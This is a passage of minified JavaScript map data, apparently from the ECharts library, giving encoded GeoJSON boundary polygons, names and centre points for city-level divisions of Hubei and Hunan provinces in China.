ƒmaV@k@Vm@UnwlƒUamk@V@„ULUamxUJkU@Iƒ`WkkK¯XWak@@W@IUV™LWJkXkaÇVUKƒ@kUmbmUUƒUKƒbkKWUkI@ƒkKÝ@@aƒUm»nI@mƒU@UnWV_@aUmWbkLUl¯b@a›kkk@WkkJm_k@UV±@J@b›nU@@WÝIUJVbXL@nlJkx@„Wn@VkJmb—LmUƒ`VbUL@xVn„@XVƒŽ@„mVVnnJVbU„ƒx@„V„nVUbVVƒx@šn„™bUK@bƒ„@bƒJ„šm²„VU‚lbXzVJV„„JVbn@@Xmb@V@bVJÈ@‚Vnkn@°aVVV@šX„KnalLVmšUnnVKVlnLWlXX„Klk°š™šXŽWškLUVVV@nU@ml¯nmbk@W`Å@mb—LWm¯UƒxnêVèk@mbƒVƒnUK™@kKmXk@@JUI›lÛLllnbVnlJ@LULnlÆaVLnŽV@nkVJ„@lkô@²bÆm°w„L„WV@VXšKšVXI@W°ÆVšK„b°U„JVIVV„¦XKVL@l‚InaVÝnUl@@bX@‚™nmVL@lVL„lVLVUnbVW@xXn˜bœU°¤V@š™„a@kWKUUn@VlnL@UV@Ü»@mX@V_ƒakaÞ@VK‚¯@kkW"],["@@mUkUUm@nllVKXXVK"]],encodeOffsets:[[[113918,33739]],[[113817,32811]]]}},{type:"Feature",id:"4205",properties:{name:"宜昌市",cp:[111.1707,30.7617],childNum:9},geometry:{type:"Polygon",coordinates:["@@°`„U@blšUbUVlVkn‚ŽUbV¼Èb@l‚XUÒkVUVVL@lVX@ll¦k@UbU‚›@kmKULUbl„@`nXšŽ„V@XW`nšUbV¦šbmb@lšV@nnlmnU„m@UVnb@xVV™VkbW„nb‚VnVa@an@UaVU‚JXnWlXX@l„¦@ŽlKÆX„bX‚V@VV„@°¯°xXx‚XV@nV°UVWU_VWXkmaVnWVkn@lln@lb@UVLXWlnX@˜aXUmaVK@UXU„U@WVI‚W„XXV‚U@¥VKœ@‚Uގ„„‚a²LlV@kV@UanKma@UVUnK@UVLXyVL‚knJ@UV@@UXKWUXaV@Vb@mVLnKW„m@aUUm@@UkK@Ula„LXKWaXI@alKlmUk@wVKXL@m@WWn@UVa@K@wna@aW_XWWkXbVW@k@U¯WWwka@UUaVIVƒkU@m±@U@@wVKkaš_@VV@XUVwU¥‚šyUkm@V±ÈUKk»ÇL„m˜mLk@ó£kmWwƒm@U„IkWKXwWU@ƒkLƒwkbmaƒbkK@VƒLkmWIUKkUUƒÇIǫJ™XÅJULVŽÇLUVƒ@UK™@kI@WVI@UaƒWmXVVUL`±kÅLmKkƒƒkƒÅ@Ua›XXxWVXŽVbUXll@bkJ„b›„@bkVUVlnV@X"],encodeOffsets:[[112906,30961]]}},{type:"Feature",id:"4206",properties:{name:"襄樊市",cp:[111.9397,31.9263],childNum:7},geometry:{type:"Polygon",coordinates:["@@@Xl@Xb°WlLXl„_@JlVVInwVbVK@ƒ@UnlVbk„mx@VUnl@U@nbW„XJ@VlL„UVJVLUxVb@b@VȄ‚@XV„VWbnX@`l„kx@nmVnbUVVVšzlJn„šlVb„UV@@V°L@VXLWxnLV`l@kxlXnK@nl@XlWn„`Xnl@@UVa@VÈKš£VLVanW°U@UVU„@„`VIn‚mV@„nV@Xa@aVW@UšalkXKšblI„yƍXnlJXbl@@VV@nklU@`„nVK„LVKVb@V„U@UÈK„UVKšIlUX@V`lIVbn@nblVVmV@@XXJšUVV@knKVn@`@X‚VnK„wlLVmUUU@ƒU@aXL@WlU@UUW@UmU@KkLWaXkWmXUWm@U@ƒnk@UmK@U@UaUVUUKV_@al@namWUI@KUƒK@aV@WUIƒbƒ¥ULUJkIm™ƒK@U@K™V@U@a@UkU@K@wVaUwlU@mUƒULmKUkV@@anIWmUK@I¯„mKkl@LUb±lUakLmk@WwUKÝVUIm`¯n@Uk@makJU_@ƒƒJma¯ImwUVkKƒb™aUÅ@wWaU@VU@mXIVmmUkJkwm@mIlUKWzUK@VmLUV@VnbmLVbU@@lkU±KbƒƒÝV›@UL@¦VWUƒWXUJ@XƒVWV@VULnbWV—bW@kmWXUK@Vkam@kkm@UlmXUŽnbWlUXV`UX¯VmUU@Ul@Lll@nnJ@LƒnWmbmš@b™`ƒš","@@kUUm@nllVKXXVKmU"],encodeOffsets:[[113423,32597],[113794,32800]]}},{type:"Feature",id:"4211",properties:{name:"黄冈市",cp:[115.2686,30.6628],childNum:10},geometry:{type:"Polygon",coordinates:["@@VVUnWVXnVJ@„‚U@V@VXŽV@@IVJUnŽ@V@L@KlIVlVanLVbnVlI„ƒn@@a@Kl@@I„JlI@aXU@KlK„kVblJXU„VlU@V„bVkVKXn@VlxVa²I@VlVUxln@bšJXklaVWnLmÅ@y@k@ašI@W@aXIlVVaV@nnlKnLVW@IUa@a@K„UVVlI@wXKVV@IUƒla„@lUXwWƒnƒnalLlxXLll°@XwVKVaXIl™nb˜@nln@Va@U@k°ƒUmÆUVaXI„JV¯ÇUmmkU@WaKmakVm@U@aVKkkmKkVmIkǰ£@aUUVaVVnKlkX‚mkƒ@ƒlUVaX@@Um@‚™UmlUXV„UVU@w‚K²¥Ua@I@UV™l@U™V±UIUǰ»VkUmVI@a@U™m™ĉ™¯V±bŹĖğaÇL¯lmŽkX@‚óĀ@ŽmšÝêb±WkLƒn@xXx@Ž@b@V@LW@UbƒlţXƒ`kxWnXô¯¦ÆV@L@JVLƒxkK@V@bkz°l‚lXz@J„UlVla@XUV„bVKXnW`XXV@laVV@V„X@V¯xƒx@xULVbUJ@n@LU@VmmakbUK@b™IWWUUVkUmkLm@VJkb@nUJƒ@`V@kX™aUaVmmLkUmJ@Uk@U„±lkzmJUb@b„VUxVXU¤ƒL@JƒX@VlL@JkLUVU@mnUl„¦@V"],encodeOffsets:[[117181,32063]]}},{type:"Feature",id:"4210",properties:{name:"荆州市",cp:[113.291,30.0092],childNum:7},geometry:{type:"Polygon",coordinates:["@@ÈJV„lVVLXJln„K@UlL„anbla„xlK@„XVWxXLlƒJ@V„nXxlnô¤l@nKn—‚ƒÈKl¼VL²Ç‚Un@Vl™zŽV¦UxWVU@@U™`lbUL@xV@²@@nlVU„UJVb@VlbXx°XVWX_VKUwVKVa@UVKUUVk@KnblaUU@wnWl@UX@lÆ@@a„IVmUk„™šxVJ„U„bܙ@Uk@WWnk@Vƒ„™Vm@I@m@Un@m™XUlVlUnJ@knJVU°@@aÆLX@ƒllL@¦nJV@XblLVa²U@UlWš@VX@`@LV@@bXJlIXml_lJœU°b„KÆLnVVl‚@ö—Vƒ‚mXaVIĢllUlVnLVlX@@b‚ašnnxšV„L‚bn@°ÆXmmkĉƒ¯w±™™™Uċ@KÝÅƧŃÝ癙Uw¯ƒm™¯k@W‚kV@¯UIUJW¼kb™Uƒwk@W`@¦Uônb@VƚlÈ@VU@ƒƒ£UWWnUÆUnmJkUÇ£VWUI@aUU@WkI@Uƒa@JW@k£kaWVUKmnkKƒb™kkVWb—VmUUmwU@kk›@UakUUa@V@nlx@lUb±lUbnnWLUyk@UamœUK™@mlk@Wb@VXL@x@xWI@a¯Ž¯V@bVn@LkKmL@`XmKmVU@@bkL@V±bk@Uaƒa™L™KUVƒIƒ„™W™XamVVbUK@b@Lm@UWkxULWVUnm@UlUX"],encodeOffsets:[[113918,30764]]}},{type:"Feature",id:"4208",properties:{name:"荆门市",cp:[112.6758,30.9979],childNum:4},geometry:{type:"Polygon",coordinates:["@@n@lxlInVUnWJ@nUVV@Xb@xVƚb„alLVUnx°Jnb„I@„V`lInbl@@V°mn_VJÞUVLXx‚@nllKVb²kVa@KlknL°ƒ@JVLXnmJ@bU@VlnLVKV„@nX@lUšKVaXal@VKn@¥°L@Unw˜bnašV@KV@VUX@lVXI@KW@@IXWV@laVL„„KlaXUVVnkVWV@lwXblIXWVkVmšaU£VaUmVIkU@y@WakKUamU@UUK@kmK@w@@mK@LƒV¯™U@WwkmULƒamVVUU@ƒƒIƒbUKUa™kmƒm@UakLmxU@UÒWlULţÿmwkIUm@a‚kÈblW@UVƒUUk@JW@XkWWUkUKUIlw@aUWknWUUmnIWƒ™aUwVaۚƒaƒVUI™wƒšVlUnƒJ@bÅ@@kVWk@mX@xVVkbma@LUlVVUL@VUbULVxULW`UX@V@lUXWaXlWXX`@bmb@x@LUb@VmŽXX@‚@nWKUL@xVlknkL@bWJXbWLƒKkb@VlL@Vn@VV@bƒnX‚mLUK@nUaU@WbXVWL@VU@@V"],encodeOffsets:[[114548,31984]]}},{type:"Feature",id:"4212",properties:{name:"咸宁市",cp:[114.2578,29.6631],childNum:6},geometry:{type:"Polygon",coordinates:["@@ÞÆ‚LČ@šV‚š²š°xĊ„nlWnŎ¯m@aƒK@„„°‚n„Jšwn™VIUaÆJšÅ@wšwV™XW@aV_l@²V°lĊwlaXLšwlUkalVVaX@lVXI@a˜UXJ@U°UU¥VIVKVklanLVa@VÈIVV@nk@aVa@mV_@a„K@klKUa@UnKWk@@lU@@UW@@nUWUwmaVIXƒ„lV@mLXblJ@kV@kk@KU@WƒkUWVÅwkLmW@UmL@lUL™KULƒak@maUUÝwUJƒIb›KUUƒ@š™aWK@kUWVkUwVw@™mÝ@™I@wkW@a›ww@LU¥™kƒJ@nVJƒIkVVnkV›UkyUIUl@xWUkaW@@°kz„ŽWxkLUWmzk@@bVVVš„b@‚@XlVœ@Vl@bVbUn™`Wn—@Wb„VVI@`„LVbXLV`mnU@@lƒL@LUŽƒak@ƒLk@WbUJn¦@lVb@xVb@n"],encodeOffsets:[[116303,30567]]}},{type:"Feature",id:"4213",properties:{name:"随州市",cp:[113.4338,31.8768],childNum:2},geometry:{type:"Polygon",coordinates:["@@„@nš`lw„k„ƒ„UmUVWX@lk„@VanUĠ¼V@@mX@@nVV‚VXLmJVLnK@b„V@@J„@VUn@VaVUUUVWVLV@@Kk_@almaVkUU@WVƒVUVLXmmk@wUaUKUV@°™@kmaUaÈmW„mUƒVklaX@lVnxl@@UnaUk@ƒVUVwVK„nš@VVn@VbVJUknUmmVmk_Vw„KUUm™Vak¥@UVKVIkW@UmIVWkIVƒkmmLkwmVUƒ@LƒUU@VVXL@JmLUbmK@UUKmkKUUmVUaUnÇlk¯™mJUnmLUaUJUaWL@UkJ™ƒUƒ@ƒaklkU@¯@KWLUmUUWVkbƒLƒŽUKkbU@WX@JX@@LWJkUW@UVU@@L™Umb—amx@V¯K@¦mŽULk@WbUb™LkVW@kVVxUb@x@LlV@V@b@VšU@L@V„LnšlJVIVK„¦„aVJ@XUŽ@b„LV‚@LVJnXmbk@@bU`VLUVV‚b@V@VnL@Vml@„@VXnWVXnWlXblK@LnV@VVX@VkV@XWK@b„VV@VV"],encodeOffsets:[[115830,33154]]}},{type:"Feature",id:"4209",properties:{name:"孝感市",cp:[113.9502,31.1188],childNum:7},geometry:{type:"Polygon",coordinates:["@@VnXK@L@°lVlk„b„@„VšlI@VXKVbVIVbnKVmnI°šlŽÈkVmVbnUVVlLnVL@VnLVanK@IWKUUV@„V@KV„nUlxnKlnU„lJUXnJ@VlXUJUL@Vl¦UbnšVVƒLUxl`UnnnmVVlnVK„bšmVX@a°Ý°LšaXJV@VUnKVXVK@LnKlLUbVVX@VwVJVn„@@UU¥V@@UUK@ƒmaUVUkkJ@L@K@UmVUI@JU@W@U@UV@ƒUIWmXUVmUUÇ@UVmIlmnmakK@akaW@UwVUkKVnUlKVwk™ƒVU_WKUkVW@UXaWkUa@w@VU@XaW±@IkbƒKƒb¯L@WƒXkWƒ@UakL@UV@UmVUmL@UXWVL@ašUƒVUUUVU@yUUƒIUa@wUKWVU@kƒ™™Wk¯UkwVKƒLUx™K@nVxUlUUWVUmw@wƒUUyXWlX¦WbUV@„U‚@blbUVVbXXƒl@lVL@bk@lxkVVnVx™¦ƒ`UnkL@V@L@Ž‚@@xnL@lVL@VnVVblLXb@‚@zlVUJVnUbV¤™bUnUlWXkJWakxU@UXml"],encodeOffsets:[[116033,32091]]}},{type:"Feature",id:"4201",properties:{name:"武汉市",cp:[114.3896,30.6628],childNum:1},geometry:{type:"Polygon",coordinates:["@@nbnm‚knJVUÈ@@Uƒ¥VknmV@VUlK@IkK@U„W@I„KV£UWVwƒU@aVanIly²kVƒl@@VnIlVnKUnVbšblWU@@_„‚VI@mlaUIn@lKVnUlVVXXšJ@aVLlanbUnV@@K@mVIUaVK@w„w°w@UƒW@UUUkbU@WWX_WmULƒaVU@WkbkUƒV@IWyk¯kly@a@UlL„wUK@I@KÅUW@ѱUm@wl¥kaƒ@@_Vw@ķƒa@akw@ƒkKW£XVUVwVwUaU@VUU™™xWKkbĉx¯k±Uk@U`@bWXUš™x@x™ÆÅIVbUJmš™xƒImƒ¯@ƒ™Umx™nUVVbnJV„@Lƒ@@ŽkV@bVnƒ@UVULlx°VXlššl„V@XUVL@xVb„JVV@zUVVVUV„™V@bUKWX@VnKUVVnU@@VlKVb„@lX„W@X°K„a„Lla@JX²Wb@ŽUV@@xVbXlWb@VUXVlXLV`Uš„lŽUxkLmVUŽlLUVVxX@lb@blL"],encodeOffsets:[[117e3,32097]]}},{type:"Feature",id:"4202",properties:{name:"黄石市",cp:[115.0159,29.9213],childNum:3},geometry:{type:"Polygon",coordinates:["@@VšUVV@VbUx„aWUœblUVmnKlX@bXJVIlVUxVVVIU‚zlx¯š@‚VbnL@x‚x@UVaXK„b˜@Xk‚WU_Vm²klW„XVK„Žl@nXV@@w„mlK²X‚aÞén™@ôÿ@lWn°kUKmmUљUmm@ƒwkImWU@UakL@bVLUVċ@™bUK@alIXKWK@™nXnKmkUVwƒ@¯b@L„lUL±W™n@KULUaW@kL@lƒL@bU`@nUb@bmlU@UÇJ@UUbmKkblŽUULUJV¦¯V@VWI—V@bWJkUW@UbkUlbkV"],encodeOffsets:[[117282,30685]]}},{type:"Feature",id:"429021",properties:{name:"神农架林区",cp:[110.4565,31.5802],childNum:1},geometry:{type:"Polygon",coordinates:["@@n`lIXll@lœl@b°aVklKXaVn@bU`mX@V„V@nmJn¼„V@bÞ@lL@„lJXVlL„aVLV„nVnalV„@VLÈUlblWXIšKVU@J„™š_‚@an™na‚X„m@KmI@mkk@KVkWWw¯w¯°ƒ@UUU@WƒaÅWkL@ƒ¥@kWWXkWmIUVVbm@@bUbmUU„ƒbW@UVk@mVkU@U¯ƒmKVUkaW@aULƒÆVbƒb@VÅ@Un@VƒLWl¯Lš„"],encodeOffsets:[[112624,32266]]}},{type:"Feature",id:"429006",properties:{name:"天门市",cp:[113.0273,30.6409],childNum:1},geometry:{type:"Polygon",coordinates:["@@@K@UlKVm„_š¥UwUmlUkwl@@aUK@k„kWWUaVUka@aV@ƒVUXaW¥Xk@WWIklm@ÅxmI™VÝUkxkaƒ„@bWJaUL@„W@™l¯UULU‚ƒbƒkV™Ua¯bm¤UnÇUkmUšUx˜b@VkXÇal@bVnlJnxŤĀVKXkVÑV@nwlKVbn@n„šlVbVL„a„J@„VV‚UnU„bVKlnXxV@°š„U@KnL"],encodeOffsets:[[116056,31636]]}},{type:"Feature",id:"429004",properties:{name:"仙桃市",cp:[113.3789,30.3003],childNum:1},geometry:{type:"Polygon",coordinates:["@@VK°VškX@@ƒVK‚bXI@a„ƒlblwÞVšUnJÆwn@lkXJ@X‚WVz„V@xnx‚VXUVVVkUw@mšLVw„KVU„@Um@alU@„@@KUƒmIUaVUšmnwmw™mb@aW@UkmKkUkVġkUJWbnU„õ˜@UkmUÅKƒL¯a›VkIk`WnkJƒ@xVLUVVbUbk@WlXbm„VxnxUblbUV™@@VUV@nVL"],encodeOffsets:[[115662,31259]]}},{type:"Feature",id:"429005",properties:{name:"潜江市",cp:[112.7637,30.3607],childNum:1},geometry:{type:"Polygon",coordinates:["@@UbVxšbX„mJVnXVlmVX@bkxVJVLVlXXWlX@@IVl„V‚U—aVwV™lnÈVVmn£°aVbUš„l„aVUK@mVU@Uš@VUkaVamwUwnƒWaXkl@VaUaVUUK@w„WI@aU@@K@_UW™@kX@V±VUbkKWaU@mI@¥kK„kW@ÅK@b¯@UVmI@lmIkVkUWVnšm@@V@n@JUnƒšU„@ŽmlXXl@@V"],encodeOffsets:[[115234,31118]]}},{type:"Feature",id:"4207",properties:{name:"鄂州市",cp:[114.7302,30.4102],childNum:1},geometry:{type:"Polygon",coordinates:["@@°¥WóXmlw„_ŤW„kVaX@@K@U@a@WwU@mWk@ƒULƒWkX±lUnV`XWl—@ƒaWLUb@Vw@wmKUa@°™kw‚yVUJUUVwkUUJWI@akWmLUnkV›aXVƒbUxUVWX¤lL@„lx@b„b@ĸUx@`„@lbk¦@x‚n²VƄX@"],encodeOffsets:[[117541,31349]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/hu_nan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"4312",properties:{name:"怀化市",cp:[109.9512,27.4438],childNum:12},geometry:{type:"Polygon",coordinates:["@@@n„‚@b@XnJ@k°x@aVUnl‚UXnV@@VnJWUJV„nIVV°ŽUbVVVL@޲LUVa°V@aV@nm‚UXblLXWVXVmVLVK@an_„`@X@l°„VlXXW`nX@Jmn@b„@nV@Lm`„bUb‚n@VUVl@nIVbUlƒV@LkJUnVV@xVblVUbU@ƒzUKU@mx@xUnn@@WV@lbUb@šnVWXX‚V@VIV@VUnJ@VUz@JWbXllI@VXVVL@ŽVn@„„Wlb@„Žl„XVlL„aV@VJ@XX`„kVwVl@bk„‚bUŽlVXIlƒnLVa„mVwV@@nV@XaVJVbX@lwV@n„@nV@VWnIVVUŽÆ@Xx‚a@I„UUKmk@mVƒ„IXmWUš™VJnUVU@anaVwk™›U@UXa@W™@m_@a¯@@K@UVƒ„bnK@blIlbXa@WW_n@VƒU@¯bmyƒUkUJÇÅ@WU@kWKÅwƒnm°KVkmankVWnXVWV@UƒƒwXkV@mƒ„UlLnaƒVaX@VUn@VnVK@xlnXWšU@a™@@klak™Vw™mUaV@™wmIÛ`m—@mVUXmlIXƒV‚I@K@aU@UaV_UK@wkUmmUKWXŽmVkUƒL@mƒƒU_nK‚™@aVU@Ukak»@U™™@ymUƒ„¯™ƒUUƒVKkam@™nka@ƒmwkLWb¯mkaƒ_VaVKUƒ™IUw@kKmU@WK@UnƒmaULkU@wUalWV¹U@@WUI@WU@‚_@W@U@mƒU@WbbUK@Um@@UmbUwWWkk@WU„a@anUUwlWUwUU@wlJVUnnV@@mnI@m‚K@U@w„a@wUm@_mƒVUUaVUkƒƒƒ_kċUk™VWLƒ@mlU@kn¥W@UwUWV@VÝU@lXLWVUbVLXlVIl‚knmU@VUJk@@„ƒ@™kVmwmVkxU@@XmVUb@xnKVLl@VxUxkIU`@bWVXX@JWL@bkb„¤@bmUUU¯Kƒkmb@V™VU„VVn@@„Vb@`lnœxmb„lUn‚bk„@xU„mV@bmWbUV@VJ„Il@nVUb‚K@nn@VbnJVIlJVkXJ@X@lmx@bnnWVXJWXU@UlU@mk@@llb°x„IUbnJ@VWbXVmI@JVX@bk‚@bWL@JUXUK@U@Uƒ`n@@Xm@XVW@@nX@@`ƒImxU@@JUI@KƒLmK@UÅUUV@VW@™¯kUU@UamVUUmJ@n„xmLKƒkmJkwkKm_mKXU@aƒU@b@Wk@ma@zUJVUmbUlU@™xnXlWlXXblK„¤V@@nUVVLkVš„l@Xb@VVK‚nXKVx@znW@X‚@@lVK@X@JXbWbnn@JUamLVVXIVxnK@aWUX@˜x@VnI@WlI@anV„IVxk‚l@lbXXšxVVVJVInbV@@ln¦ml@XXVWbkJWb","@@XLVKVXVKUa@UUUmV@l"],encodeOffsets:[[112050,28384],[112174,27394]]}},{type:"Feature",id:"4311",properties:{name:"永州市",cp:[111.709,25.752],childNum:10},geometry:{type:"Polygon",coordinates:["@@lxUXV‚lXUVnlVĢ„JVbUXVJV@XUW¯„VIUK@klW@Un@„nl@V`XUVL@l@šVx@„XXW`UnUbšxUlVnUšV„lb@VnJšUVVVInJlUšVnwVklKnw„LVJVšV@nIV@nbVa@KVVVUUa„KV_nVVJ@_VW„nV@n¥lI@anƒl¥X_VKlwVlULUVVVš@šU@VXL˜ƒ@IUmn@VU@wmKXUWU@m²šl@VIXWWkWUkWlkIVamUXamUnmWUU@@Un™lK@XJl@kVUk@mWKXkl@@aVU@UVWUUVa„In`VUVLnw@U@K@Uƒƒ@w@UVmUUƒ™°K@UnV@bV@Xk@KVm@amk„aU£VWUUmUUwm`UbULka›KXU@kVmU™@aV_UWVIn@˜y„XXK@klmV„V_kWVUn@WUU@UƒmaU@™wnwWanUmmXkƒam@UakLmK@b™xUUUU@Km¥Vaƒ¯@ƒkUaVUlm„UU@mUUÇmUk™Uyƒb™bUa™XUWWbÅLmL@V™aL@WWXUKmmk@a@UUK™XW¥kU@VƒUkxmVkUWbUJnVJ@nVJXzWxkŽ@lVbUX@VVL@`mbUnšŽUn™VV¼k@Ulm@mwLƒb@lmLUK@UamƒWkƒK@£Ua@ƒ›UkJkUmbVlkX@bWbUŽVŽnnUVl„@bšbVK@VX@lb„V@nU¤šx‚²„Knblb@x„V„ô@šlŽ@b@l@XWxnVl@„VV@XLVl‚LUŽUXV`šbXXmJU@@bm@UUkLW@UlUKWUUb™wUm™L@nklVVmVXXm@@bUKlÆn„‚XkllVUVVL@nUbV‚@V@nnV@xUn¯U@JW@UX@xĉ@™`m@@LV@b"],encodeOffsets:[[113671,26989]]}},{type:"Feature",id:"4305",properties:{name:"邵阳市",cp:[110.9619,26.8121],childNum:10},geometry:{type:"Polygon",coordinates:["@@XIlJšI„VVK@n@VVVKnLVwVmnLVK@U„@šw„J@wVIƚ°X@ÜȄUÈxll@kn@VwVaXJWXn@@WVL@UUKVKV_U@@aVK„x@U„aV@lk„@XylbUaV_šVnal@W„U@a„I@aV@@aVUl@Xm‚UXWaXml@@kk@ma@V_UnUV™UUWJUa@kkaWLUmk@@LUVWUkJWkK@¼UnWJƒIkV@b@JUIm@Ul™V™m@Uw@a@kWƒXWKUknW@ƒWUU@k™mx™UkVmIUJUU™VmI@UkaUƒV™UmVk™wVaVmX_WW@ƒUw@™@kUKWVU_k@ƒmm@@VkX@lVLUJƒX°WVU@UIVWUaƒIUġmkVUkWUVWkwWXk`mI@¥kUVƒUƒUn±@m›XkWknV„UVmmU@@XƒVƒUk`@Xƒƒƒk@¥¯»mbĉó@mkU@kU™ƒƒ™KmX@˜UnmL@lULkKUƒWUU@ƒbUaUnƒ@Vb@l„¦Ub@l™@UKmnƒKUnl„UVVbUVn„@`Vn@xƒb@x@VL@nmJ@nU@mmUVkI@xVVVxkXVxmV@bƒbXVl@Xl‚XVxna@Vn@@VVL‚aXaV@n„‚@@V@X`V@@XVJ@XV@UºkXVb@xlVVKnbm„@VXLV@n‚lL@VxšJV„ULUb„`lb°nXalKnx@„lbšmn@lbULV„„V°š„ƒnV@zšš@Vl¼lb@VUV@bšmLV`„„@n„KlVnU‚XWVLnnlV@xVLU`VbV@"],encodeOffsets:[[113535,28322]]}},{type:"Feature",id:"4310",properties:{name:"郴州市",cp:[113.2361,25.8673],childNum:10},geometry:{type:"Polygon",coordinates:["@@²zVaVlnVl@nšVk„Jl_XJlIVmnL@mV@VXn@lV@‚XzV@lyV¯²U@UlJ@XVKnVVIXl@UVLV`@n@J„I@mlI„KVLnUlVUVVLXašKVLl@nb@ŽW„XV°KUnVV„L@xVJ„L@b@LUVVVU„˜VXbmbVbn@@lUbm@x@XVVVŽ@@˜@bkImx@Vm@Xbƒb@l°XU¤„a‚L„mnL@bl@@™VUX@VxnV˜anLnƒWƒ¥XKVwnUWXmVIUWÆLVx„L„w@wVmlU@¥XƒWUkwlÇn_Uw„WV@VU°wnU—ƒy@aVškVlnL@lVn„w@VlJ@b„X„x@bVKnb@U@WVUl@@Vnbl@XLlK@aVLVKnxÞn@a„LlmUaVU™ƒm@ÅknUmaUKmVk@m™kk@UlWUkVm@w@kUU@W™U¯™¥@w„Ç@aVIlUV@kUWU@UUm»@k@mKVkUKUwƒaUaUa›@k„kUWJkImaU@UK™@maUzk`@zƒy@XmJkL@UUJmUkV@z›@kŽkVmK@¦UbWL@a@UbmKmwUK™Xk›VUUkmVkw@UUKmL@WUIWa—JW_k@@WmI@mk@WkWULUUVKUUVm@šU„bš@‚nUǃ@U@w„™V@Ua@aƒL@ak„›l@k™UƒJƒwó@@L@V@„™`@œƒJ@xnn™šmV@bkJmUó@ƒn—JW„UUmƒU@UV@Lk„WlnnmVXbmxšxV@nbV„V@XVm@UVlXU`ƒUŽkn@lWLƒW—zm@UJVXU`@bVšUn@lWVœLlbVKVan_VxnVVVUXV¤ƒbnl@bUn@LWlU@@amU@V¯L„šVVUn@V@x„„@V@L@VmxUKUVm_ƒJUbVV"],encodeOffsets:[[114930,26747]]}},{type:"Feature",id:"4307",properties:{name:"常德市",cp:[111.4014,29.2676],childNum:8},geometry:{type:"Polygon",coordinates:["@@l™U™mkUwUyV™@VW@¯Va—VmUU@KVUVUVLnaWƒnkUÓV_@mVU@݄w@ƒka@kVmƒUmK@IkaUamKkXWaUW@WUk„™@@KVU@aU@™L@J@XÇVUKVak_mWkLWakVUbmLUUmlUVKUU@kUWW@UImJ@xkLkKm@@Xƒ@ó݃@UUk@UKƒV™ƒULƒKƒXkWWbkaƒIUƒWU@mUk@WLaUJġ™ƒ@@XÈÆVIl‚„Vnz°aV@U„m@X`@XWbkakJ@amLƒaU„@V@L°@@bn`š@@XWb@VœVlšUxmb@bUVmVUI™šXVWnƒJU„@nnlVLƒV@JbWzk`m@UVK²V‚x„k„LVl„@Vn@V„„°xVKVkœVVlUblx@bU„‚Æœ@@nVnUll„kx@VW@@VkLWxUL@bÝ@kKkVõV@bkXVVUVƒ@ƒVkUkV›LkV™a™@@™ƒ¯xUxmX@JVb°WXkK@Vm@k„Vb™bn¤‚xUXkJƒblxnXÆK²l‚_@Wnašn@ŽUL@b‚JnIlV„@lUœ@@¯ô@lWȂIVKVm„U@aXaV@lwVXn@@K@UVKUUnU‚bn@lWšX„ƒlJnUšLšKV@„„l@²a@UlK@aV@naVX„WV_nKlL@KUm@a°U°@VXL@a@wWmXal@„k„@VLn›V@@bl@VnX@mwVa²aVU@mk@"],encodeOffsets:[[114976,30201]]}},{type:"Feature",id:"4331",properties:{name:"湘西土家族苗族自治州",cp:[109.7864,28.6743],childNum:8},geometry:{type:"Polygon",coordinates:["@@@KšL@wnK±nƒnm‚—@WUk„ƒÜÈn@n»@mVamk„mšU„„l@V™nmmU@wUan¯VKšLn„VWlInyWUœI@WWk@KXU˜n@mnUmU@WœƒmkV@ƒkXašaVaUm‚Ikƒƒ@kaƒX@ƒUm@UKWU@UkJWkXa@IVy@UmIUVU@UJU@WXWmU@™VakaU@@Xm@Vm@wnwV@VL„yV@VakUUa@wUUVmlI@K„UVkUamJk@VU@UmVaƒan_@KmUƒ@@anm@ImWX_WWUk¯ƒ@k@Wƒ_m`@bULUKUnUWWXkKWaVmnU@@b¯UUbVޱK@UKUUVa¯UUmJUƒVIXmI@UU@WmVmkUV@b¯w@lmI@W@aƒ@m¯LXbmJVLklWL@V@XXŽmbVVU@@VU²Ul@VlX@bš`Xx›zUmkUVÒlŽ@bXLWxXVlš@V„bkLma@nmVmULVbmVUb@lnzmbUÒVl@°nLV„lJkn@bmJk_ƒVmmkblxÈx@LUb„xVb@V™n@JmLVŽUš@„nV@¦VbnJ@lVVbkx™bm@UxVLV@n`UnVVV„kl°z„xVb@VU@@ÆlXnWm¦nbVK@XVVUVVl@X„KUV@nVL@WnIWŽXLVKVLlxUbVKXVWbn@@UnKVLVb„JšU@aVU°b"],encodeOffsets:[[112354,30325]]}},{type:"Feature",id:"4304",properties:{name:"衡阳市",cp:[112.4121,26.7902],childNum:9},geometry:{type:"Polygon",coordinates:["@@lšV@XV@„mXVlXL„W‚X@l@bVxn@šŽšUVkn@VJ@I@alU„JXIVm@»‚LXllIXVVU@Kl@VnXKlb@lVbXIVVUšmVVU`@nbl@@lXLVVVKVbnXWJ@VXbWxXb„Ul™VK„¦nLVVUVVbšb„K@U˜LnK@Un@VxlUV`UnnL@VVL@JV@VUnxnKVbV@@VšIVUnJUVUl@nW„XllIUa„KVbÞLV¼²`V@VIUwlaVmXa@IWanK@U@m„kVƒVUVaX@lšnaVLÈ@‚¥@kkJUWJUaƒXkaUm‚wVXJ@_lWUU@¥n_‚KkamUK„™@amKƒnKƒbV£¯W@k„aWan@@UnwlJ@a@—@UUU@W‚wn@Va@km@UanaWa—UVƒUUVU@K@aƒKUI@wƒKUUVm¯LWUXƒ@mak@UK™LWbUKVUkUmVUKƒLkJ@nƒJ@I@mU_UK@VWkUJmUUL@WkI@V±VU°kzU@Wy@kUm@UWU@@nmKUnkJWIk`ƒIUlm™k@mUUkUb±yUX@VUV@bk@WlXL@nVlUl‚k@WI@ŽkLmš@VV@XVmnnVWbnVUblJXkVl‚XXlWXUJk@±™@nXVWVnL@xUVm@Vn@J—„WK@U™V™@UUVUVKUkkxULW`k¦m„@bkJm¦U@ƒmUX@`UImUU`ƒLVbUVUU@LUbmaU@mJU@U™UIƒKmxkLUl"],encodeOffsets:[[114222,27484]]}},{type:"Feature",id:"4306",properties:{name:"岳阳市",cp:[113.2361,29.1357],childNum:7},geometry:{type:"Polygon",coordinates:["@@@wUklmUUmU@@UVm@wUaV_mmUKmwkIkJmUUnm@™™@UUƒbUKUƒmÛamm¯xVLkbÇÆƒUƒVUzkVUlƒUUKWLX¦W@ƒVUUUaƒKUbmLKm„@akU@aƒmVaUUVIVWkk@wkƒƒ@@xmLlmÅwmbVlXlÝIWVkK@kkVƒL@VWKU@Ublnaƒƒm@b@bšnW`@XUJk@UUWKƒk@UKƒnn‚@xmLUVm@kbVbV„nV@V„b‚@KnV„LWšXŽÆV̦VblŽš„n„UJWz@ƙVóUVbkV™aÅx@¦lVUbVVknWKƒ„k@ƒwƒK™VU